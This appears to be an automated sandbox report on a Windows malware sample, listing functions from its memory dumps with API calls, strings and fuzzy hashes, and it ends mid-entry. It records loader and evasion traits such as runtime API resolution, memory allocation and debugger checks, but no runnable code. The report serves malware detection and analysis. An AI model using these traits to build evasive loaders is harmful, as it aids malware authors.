API ID: AddressLibraryLoadProcProtectVirtual
String ID: 8j/$ %&C$-tIO$25r3$2h$=Mbt$@$G6~0$M{h$QB4$QGk $T^Yu$U!8$Yh$]k;z$snkr$L|j$v;M
API String ID: 3509694964-3870779105
Opcode ID: 7d6698b2d5ed5f8bdaa6780e2c36c0d11c124dad1bc2de59968120dc51587933
Instruction ID: 01170d5283fa028dd93e6c2c03073e8eab92a5b3f5f2e51831a3a035ff4b1c6d
Opcode Fuzzy Hash: 7d6698b2d5ed5f8bdaa6780e2c36c0d11c124dad1bc2de59968120dc51587933
Instruction Fuzzy Hash: 6D32DBB4D063A8CFDB64DFA6A9897CDBB70BB05304F6082C8D5892B611CB354AC5CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00401995, Relevance: 3.1, APIs: 2, Instructions: 52sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.309542209.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction ID: 2ba8d485649ef9dc555f469e2d9c6b56d1050b598c7c2bb426bbb3a3204dd29a
Opcode Fuzzy Hash: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction Fuzzy Hash: 9901F7B1308104FBDB016A948D51EBA3229AB04350F200537B643B80F1C57D9512AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004019A1, Relevance: 3.0, APIs: 2, Instructions: 46sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.309542209.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction ID: 9ecdec514cf71f5eeb304a1e2f202b265b0d51b5f31dfdf67d95f392e824f2cf
Opcode Fuzzy Hash: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction Fuzzy Hash: 45F0D1B2304145FADB019F848D91EAE3225AB04351F200977F753B80F1C53D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019AD, Relevance: 3.0, APIs: 2, Instructions: 42sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.309542209.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction ID: c9128524272919db4071d016e368c832c930b36d74f35c43d3039e04d983ac6b
Opcode Fuzzy Hash: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction Fuzzy Hash: ADF0C272304244FBDB01AF948DA1EAE3265AB44355F204977B753B80F1CA7DC512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019C0, Relevance: 3.0, APIs: 2, Instructions: 41sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000000.00000002.309542209.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction ID: 77f4f58ad70177de11a0d2c10a1031ab6784e6ffca1e9eb20b8bff71da297da0
Opcode Fuzzy Hash: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction Fuzzy Hash: FCF0C272304205FBDB01AE94CD91EAE3325AB44315F204977B603B80F1CA3D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0041C240, Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 274librarymemorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00437A48), ref: 0041C25E
GetFileSizeEx.KERNEL32(00000000,00000000), ref: 0041C2C9
SetCommState.KERNEL32(00000000,?), ref: 0041C387
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C3BE
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C3CC
GetNativeSystemInfo.KERNEL32(00000000), ref: 0041C3D4
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C3E2
GetLastError.KERNEL32 ref: 0041C414
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0041C428
InterlockedIncrement.KERNEL32(?), ref: 0041C46F
LoadLibraryA.KERNEL32(00423E30), ref: 0041C4CD
GlobalUnWire.KERNEL32(00000000), ref: 0041C4D5
GetBinaryType.KERNEL32(00000000,?), ref: 0041C51E
HeapWalk.KERNEL32(00000000,00000000), ref: 0041C528
WriteProfileStringA.KERNEL32(00423E58,00423E44,00423E3C), ref: 0041C53D
EnumResourceNamesA.KERNEL32(00000000,00423E60,00000000,00000000), ref: 0041C583
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041C58B
OpenSemaphoreW.KERNEL32(00000000,00000000,00423E9C), ref: 0041C5BC
SetLocalTime.KERNEL32(00000000), ref: 0041C5C4
WriteProfileSectionA.KERNEL32(00423ECC,00423EBC), ref: 0041C60B
AddRefActCtx.KERNEL32(00000000), ref: 0041C622
FatalAppExitW.KERNEL32(00000000,00423EE0), ref: 0041C62F
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041C64E
InterlockedDecrement.KERNEL32(?), ref: 0041C65B
FindAtomW.KERNEL32(00423EFC), ref: 0041C69E
GetThreadContext.KERNEL32(00000000,00000000), ref: 0041C6A8
OpenMutexA.KERNEL32(00000000,00000000,00423F20), ref: 0041C6B7
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041C708
CopyFileExA.KERNEL32(00423F60,00423F3C,00000000,00000000,00000000,00000000), ref: 0041C720

Strings

onI, xrefs: 0041C492
kanumel, xrefs: 0041C26F
&Pc, xrefs: 0041C6CB
";, xrefs: 0041C591
Pc, xrefs: 0041C672

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CompletionConsoleFileInterlockedOpenProfileWrite$AliasesAtomBinaryCommContextCopyCreateDecrementEnumEnvironmentErrorExitFatalFindFreeGlobalHeapIncrementInfoLastLengthLibraryLoadLocalModeMutexNamesNativeOverlappedPortPostQueuedResourceResultSectionSemaphoreSizeStateStatusStringStringsSystemThreadTimeTypeUnregisterWaitWalkWirelstrlen
String ID: ";$&Pc$Pc$kanumel$onI
API String ID: 4148274006-1908053154
Opcode ID: d3c4d1736f71312976acdb68af754af1530c87d94caba72d93ce8df61b28b701
Instruction ID: 57b622b19db1591d218f394cfadead058171df098c2f5b79bcd610cd69e539a6
Opcode Fuzzy Hash: d3c4d1736f71312976acdb68af754af1530c87d94caba72d93ce8df61b28b701
Instruction Fuzzy Hash: 68C154B0E84214DBDB649F50ED8A7E977F0BB08709F10C49AE14965180CBB95AC5CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0248003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0248024D

Strings

kernel32.dll, xrefs: 0248008F, 02480095
cess, xrefs: 0248018D

Memory Dump Source

Source File: 00000000.00000002.310159731.0000000002480000.00000040.00000001.sdmp, Offset: 02480000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 244515c7e12d4d93655394499fb504d1ef20285b23623cfa37cbc13056d1c83f
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 09527B74A11229DFDB64CF58C984BADBBB1BF09304F1480DAE54DAB351DB30AA89CF14

Uniqueness

Uniqueness Score: -1.00%

Function 02480DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02480223,?,?), ref: 02480E02
SetErrorMode.KERNELBASE(00000000,?,?,02480223,?,?), ref: 02480E07

Memory Dump Source

Source File: 00000000.00000002.310159731.0000000002480000.00000040.00000001.sdmp, Offset: 02480000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 438f1b1d25cee5fd033b64846a5f8fa06340a4621995ab447fdcee53f83d409d
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 06D0123215512CB7D7002A94DC09BDE7B1C9F05B67F008011FB0DD9581C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0041AF00, Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0239C36C), ref: 0041AF0B

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: ffaafb091db2eed7fcbeec47d157ee003a0352873c8f354b5c509dc1a319182d
Instruction ID: 3558af269f83943a1951118a118c912a9d6325b8eaba3022ae50e5718538b36d
Opcode Fuzzy Hash: ffaafb091db2eed7fcbeec47d157ee003a0352873c8f354b5c509dc1a319182d
Instruction Fuzzy Hash: 20C09BF19883045FD240DBD5BC45B1537ECF30EB09F004451F60983240D76664118655

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041B960, Relevance: 19.6, APIs: 13, Instructions: 65librarytimethreadCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,?), ref: 0041B984
LoadLibraryA.KERNEL32(00423CE0), ref: 0041B98F
GetModuleHandleA.KERNEL32(00423CF4), ref: 0041B99A
FileTimeToDosDateTime.KERNEL32(00000000,00000000,00000000), ref: 0041B9A6
GetVersionExW.KERNEL32(?), ref: 0041B9B3
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 0041B9C6
OpenWaitableTimerA.KERNEL32(00000000,00000000,00423D04), ref: 0041B9D5
GetCurrentThreadId.KERNEL32 ref: 0041B9DB
CreateDirectoryW.KERNEL32(00423D18,00000000), ref: 0041B9E8
LoadLibraryA.KERNEL32(00000000), ref: 0041B9F0
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00423D58), ref: 0041BA01
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041BA09
CompareStringA.KERNEL32(00000000,00000000,00423D88,00000000,00423D6C,00000000), ref: 0041BA21

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CreateLibraryLoadTimeVersion$CompareComputerCurrentDateDirectoryEnvironmentFileFreeHandleInfoModuleNameOpenSemaphoreStringStringsThreadTimerVerifyWaitable
String ID:
API String ID: 727335459-0
Opcode ID: 50358580224830b25222301c2e29435b4b1eee92a7af0a98eb5dd13172cc70d6
Instruction ID: 41729aa8967ad499f4176d75bd84ebb299bc23cb11c22e9f1d140edb8211f3ff
Opcode Fuzzy Hash: 50358580224830b25222301c2e29435b4b1eee92a7af0a98eb5dd13172cc70d6
Instruction Fuzzy Hash: 6421FF75B84314BFD7509FA0ED0AFC87B74AB0DB0AF208065F705A61D0C6B86655CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C120, Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041181D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00411834
UnhandledExceptionFilter.KERNEL32(00422720), ref: 0041183F
GetCurrentProcess.KERNEL32(C0000409), ref: 0041185D
TerminateProcess.KERNEL32(00000000), ref: 00411864

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ed39801053e643c4838d4b74d2aaf65e6df6dee3842f44daf52c90f2a118c6e8
Instruction ID: 01261ec35a8557af1344fa58cc79e5d764b858bc44e418158d1e3d2aa5e1043f
Opcode Fuzzy Hash: ed39801053e643c4838d4b74d2aaf65e6df6dee3842f44daf52c90f2a118c6e8
Instruction Fuzzy Hash: DE21EFF89093089BE320DF29FD856443BE0FB18324F60707AE98986361E7756985CF8D

Uniqueness

Uniqueness Score: -1.00%

Function 0248092B, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0248095F
l, xrefs: 02480966
GetProcAddress., xrefs: 024809DC, 024809DF, 024809E4

Memory Dump Source

Source File: 00000000.00000002.310159731.0000000002480000.00000040.00000001.sdmp, Offset: 02480000, based on PE: false

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 8cdf4942245fb07499dfcbfde2d2b629970e6a449e81b357afbaf2dd344a87d1
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 1A314AB6920609DFDB11DF99C880AAEBBF9FF48324F15504AD841A7310D771EA49CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02480D90, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.310159731.0000000002480000.00000040.00000001.sdmp, Offset: 02480000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 50387c31ef452a43809ea619f52177b1358a66aa6a94cf82d6afa6e53200d240
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: EFF0CD76A206049FDB21EF24D805BAE73F9FB88215F0451A6DC0AD7342E330E94A8B90

Uniqueness

Uniqueness Score: -1.00%

Function 00417849, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
_get_int64_arg.LIBCMTD ref: 00417900
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7
_write_multi_char.LIBCMTD ref: 00417BCE
_write_string.LIBCMTD ref: 00417BE9
_write_multi_char.LIBCMTD ref: 00417C15

Strings

9, xrefs: 00417AD8
-, xrefs: 00417B6E

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_write_string
String ID: -$9
API String ID: 1652289597-1631151375
Opcode ID: 574e1bd6c73d2cf2220f040774c86f7932774e991c59649c4b2b6e00b4b56a41
Instruction ID: 3ca3287828761843b5c80f611c147faaeea1e92200cdd5604698f31dd8624877
Opcode Fuzzy Hash: 574e1bd6c73d2cf2220f040774c86f7932774e991c59649c4b2b6e00b4b56a41
Instruction Fuzzy Hash: 31F118B1D092299FDB24CF58CC89BEEB7B5BB44304F14819AE409A7281D7789EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00418BBB, Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
_get_int64_arg.LIBCMTD ref: 00418C78
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42
_write_multi_char.LIBCMTD ref: 00418F5B
_write_string.LIBCMTD ref: 00418F76
_write_multi_char.LIBCMTD ref: 00418FA2
__mbtowc_l.LIBCMTD ref: 00419011

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: b651b247ab78b2203397d17683900a37c351c18bafc05badee9e12615d3a554e
Instruction ID: 5d377cef2ab8f3b49fd69aecc9819825d3dfd461b325e4090fa65a6122d15ea4
Opcode Fuzzy Hash: b651b247ab78b2203397d17683900a37c351c18bafc05badee9e12615d3a554e
Instruction Fuzzy Hash: 61F119B1E002299FDB24CF55CC91BEEB7B5BB89304F14419AE609A7281D7389EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C040, Relevance: 18.1, APIs: 12, Instructions: 84memorypipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041C06C
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041C082
WriteProfileSectionA.KERNEL32(00423DC4,00423DB0), ref: 0041C092
VirtualAlloc.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C0AC
GetSystemWindowsDirectoryW.KERNEL32(?,00000800), ref: 0041C0BE
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 0041C0CF
GetCommandLineA.KERNEL32 ref: 0041C0D5
GetStartupInfoA.KERNEL32(00000000), ref: 0041C0DD
InterlockedDecrement.KERNEL32(?), ref: 0041C141
WaitNamedPipeW.KERNEL32(00423DE0,00000000), ref: 0041C14E
SetCurrentDirectoryW.KERNEL32(00000000), ref: 0041C156
HeapWalk.KERNEL32(00000000,00000000), ref: 0041C1A6

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Info$Directory$AllocCommandConsoleCountCurrentCursorDecrementHeapInterlockedLineNamedPipeProfileSectionStartupSystemTickVirtualWaitWalkWindowsWrite
String ID:
API String ID: 3988981641-0
Opcode ID: 841b20869f25a57ec3b486cda27a59edb303fd584e8245ba2164a270aa7df40b
Instruction ID: e23e704d2a742acb664f6580ea8788c9b0c4fdb569b6fb0ed3f7b46376448f0e
Opcode Fuzzy Hash: 841b20869f25a57ec3b486cda27a59edb303fd584e8245ba2164a270aa7df40b
Instruction Fuzzy Hash: 933163B0DC5214EBEB209FA0ED49BD97B74BB0970AF10849AF20955182C7BD5A81DF1D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C1B5, Relevance: 13.5, APIs: 9, Instructions: 40libraryloaderthreadCOMMON

Download Yara Rule

APIs

SetThreadAffinityMask.KERNEL32(00000000,00000000), ref: 0041C1C4
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041C1CE
SetConsoleMode.KERNEL32(00000000,?), ref: 0041C1DD
IsDBCSLeadByte.KERNEL32(00000000), ref: 0041C1E5
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C1EF
GetComputerNameA.KERNEL32(00423DF8,00000000), ref: 0041C1FC
LCMapStringW.KERNEL32(00000000,00000000,00423E04,00000000,?,00000000), ref: 0041C216
InterlockedDecrement.KERNEL32(?), ref: 0041C223
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041C22D

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AddressAffinityByteComputerConsoleDecrementInterlockedLeadMaskModeNameProcProcessStringTerminateThreadValue
String ID:
API String ID: 2216846893-0
Opcode ID: 72f78f3699f6e34b9644f588d1719a4d70ffecc9196f84d13785f532bbad93cb
Instruction ID: 9adfe44f190d06a2fe97b997b176a2ed97097f633626ad501b281aa8ddd0e4ef
Opcode Fuzzy Hash: 72f78f3699f6e34b9644f588d1719a4d70ffecc9196f84d13785f532bbad93cb
Instruction Fuzzy Hash: 0801E1B1B84314BBE7645BA0AC0BFD93B74BB0DB0AF248055F7099D0D0DAA455458B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004175A7, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004175AB
__get_printf_count_output.LIBCMTD ref: 004175B9
_write_multi_char.LIBCMTD ref: 00417BCE
_write_string.LIBCMTD ref: 00417BE9
_write_multi_char.LIBCMTD ref: 00417C15

Strings

-, xrefs: 00417B6E

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_get_int_arg_write_string
String ID: -
API String ID: 1223885382-2547889144
Opcode ID: cfb8dd0cb58066c22db3823f5eb372aa595b7365271ca1e35cb99c6482327fcb
Instruction ID: e358f590372ce615a0e1b0f60b28fc2c4243294226f67c700bfd805d9705e13b
Opcode Fuzzy Hash: cfb8dd0cb58066c22db3823f5eb372aa595b7365271ca1e35cb99c6482327fcb
Instruction Fuzzy Hash: 4BA17FB0E052289BDF24DF54CC89BEEB7B1AB44304F2481DAE5197A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041891A, Relevance: 10.7, APIs: 7, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0041891E
__get_printf_count_output.LIBCMTD ref: 0041892C
_write_multi_char.LIBCMTD ref: 00418F5B
_write_string.LIBCMTD ref: 00418F76
_write_multi_char.LIBCMTD ref: 00418FA2
__mbtowc_l.LIBCMTD ref: 00419011

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 4168457693-0
Opcode ID: 9c5978a382d83b4193e038c9cf55bb35087d216300485c5485e4b912982cd2f0
Instruction ID: 32e31495f0fabe40c9d4ee77a52b46e7a7623a54868da8b7bd4bb4bcbecb13be
Opcode Fuzzy Hash: 9c5978a382d83b4193e038c9cf55bb35087d216300485c5485e4b912982cd2f0
Instruction Fuzzy Hash: 54A160B0A002299BDB24CF55CC95BEEB7B4AB48304F14419EE6196B281DB785EC4CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004173F5, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004173F9
_write_multi_char.LIBCMTD ref: 00417BCE
_write_string.LIBCMTD ref: 00417BE9
_write_multi_char.LIBCMTD ref: 00417C15

Strings

-, xrefs: 00417B6E

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_write_string
String ID: -
API String ID: 3433125407-2547889144
Opcode ID: bbc34790f26c1c9bd1d250ed8d433410b1ab314b02a596132070320bfe451121
Instruction ID: b9788dd935b330c76e19451035c29a3aedc076283e327d613208cf042a2cc0cc
Opcode Fuzzy Hash: bbc34790f26c1c9bd1d250ed8d433410b1ab314b02a596132070320bfe451121
Instruction Fuzzy Hash: B1A16AB4D052289BDB24CF54CC89BEEB7B1BB48305F1481DAE5096B291E7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00417877, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

0, xrefs: 00417893
9, xrefs: 00417AD8
', xrefs: 00417877

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 4150a5d2318a6268ac28cd2114f486a6f674f08a453a6b597ce592890c994f88
Instruction ID: 6157e41fccff69f66440aa8415dfcf555854fe9b76e74fe465e03aeac8005c40
Opcode Fuzzy Hash: 4150a5d2318a6268ac28cd2114f486a6f674f08a453a6b597ce592890c994f88
Instruction Fuzzy Hash: F741D3B1D19229DFEB24CF58C889BEEB7B5BF44304F14859AD049A7241C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041BEF3, Relevance: 10.6, APIs: 7, Instructions: 89fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041BF3D
CopyFileW.KERNEL32(00423C48,00423C28,00000000,?,?), ref: 0041BF85
DeleteFileA.KERNEL32(00423C60), ref: 0041BF90
GetPriorityClass.KERNEL32(00000000), ref: 0041BFAA
ResetEvent.KERNEL32(00000000), ref: 0041BFB2
GetPrivateProfileStringA.KERNEL32(00423CC8,00423CAC,00423C8C,?,00000000,00423C78), ref: 0041BFE6
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C01A

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: 9bae5d3715d89779753178fc92291465526d8ea821bbc10a5285382ba68f51ae
Instruction ID: 7b290888b653ccf52cd89ac5e10d30df0c8f77618f6f98debad43c4bdd78deb0
Opcode Fuzzy Hash: 9bae5d3715d89779753178fc92291465526d8ea821bbc10a5285382ba68f51ae
Instruction Fuzzy Hash: 35316DB0E44218AFCB14DF95DD85BEEBBB4FB48705F10846AE509A3280C7785A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BF00, Relevance: 10.6, APIs: 7, Instructions: 85fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041BF3D
CopyFileW.KERNEL32(00423C48,00423C28,00000000,?,?), ref: 0041BF85
DeleteFileA.KERNEL32(00423C60), ref: 0041BF90
GetPriorityClass.KERNEL32(00000000), ref: 0041BFAA
ResetEvent.KERNEL32(00000000), ref: 0041BFB2
GetPrivateProfileStringA.KERNEL32(00423CC8,00423CAC,00423C8C,?,00000000,00423C78), ref: 0041BFE6
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C01A

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: 2f0fe2086eabf5de02d0aa743b2b3f57f5ab11d2117ac8a64af84123cbffbaef
Instruction ID: fd36c328f67cb5f9925d37db6493f2e9093c736a679087d38435d3b5c082712d
Opcode Fuzzy Hash: 2f0fe2086eabf5de02d0aa743b2b3f57f5ab11d2117ac8a64af84123cbffbaef
Instruction Fuzzy Hash: D5316DB0E44218EBCB14DF95DC85BEEBBB4FB48705F10846AE509A2280C7785A81CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00418744, Relevance: 9.2, APIs: 6, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00418748
_write_multi_char.LIBCMTD ref: 00418F5B
_write_string.LIBCMTD ref: 00418F76
_write_multi_char.LIBCMTD ref: 00418FA2
__mbtowc_l.LIBCMTD ref: 00419011

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 4186970751-0
Opcode ID: 129d40ad4c22e0af6e4c100c1a75bbc968fd1860d27aafbbf8778a22f4a98faf
Instruction ID: b02d741d67bdb381c43a7db6e5a55ab957177ad2f802508afbb0eb4f5ba85ab5
Opcode Fuzzy Hash: 129d40ad4c22e0af6e4c100c1a75bbc968fd1860d27aafbbf8778a22f4a98faf
Instruction Fuzzy Hash: F7A15EB4900218DBDB24CF54CC91BEEB7B5BB48304F14819EE6196B281D7399EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419D40, Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

___initconout.LIBCMTD ref: 00419D64

Part of subcall function 0041A600: CreateFileA.KERNEL32(004237F4,40000000,00000003,00000000,00000003,00000000,00000000,?,00419D69), ref: 0041A619

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 00419DE9
WideCharToMultiByte.KERNEL32(00000000), ref: 00419DF0
WriteConsoleA.KERNEL32(00426FAC,00000000,?,?,00000000), ref: 00419E17

Memory Dump Source

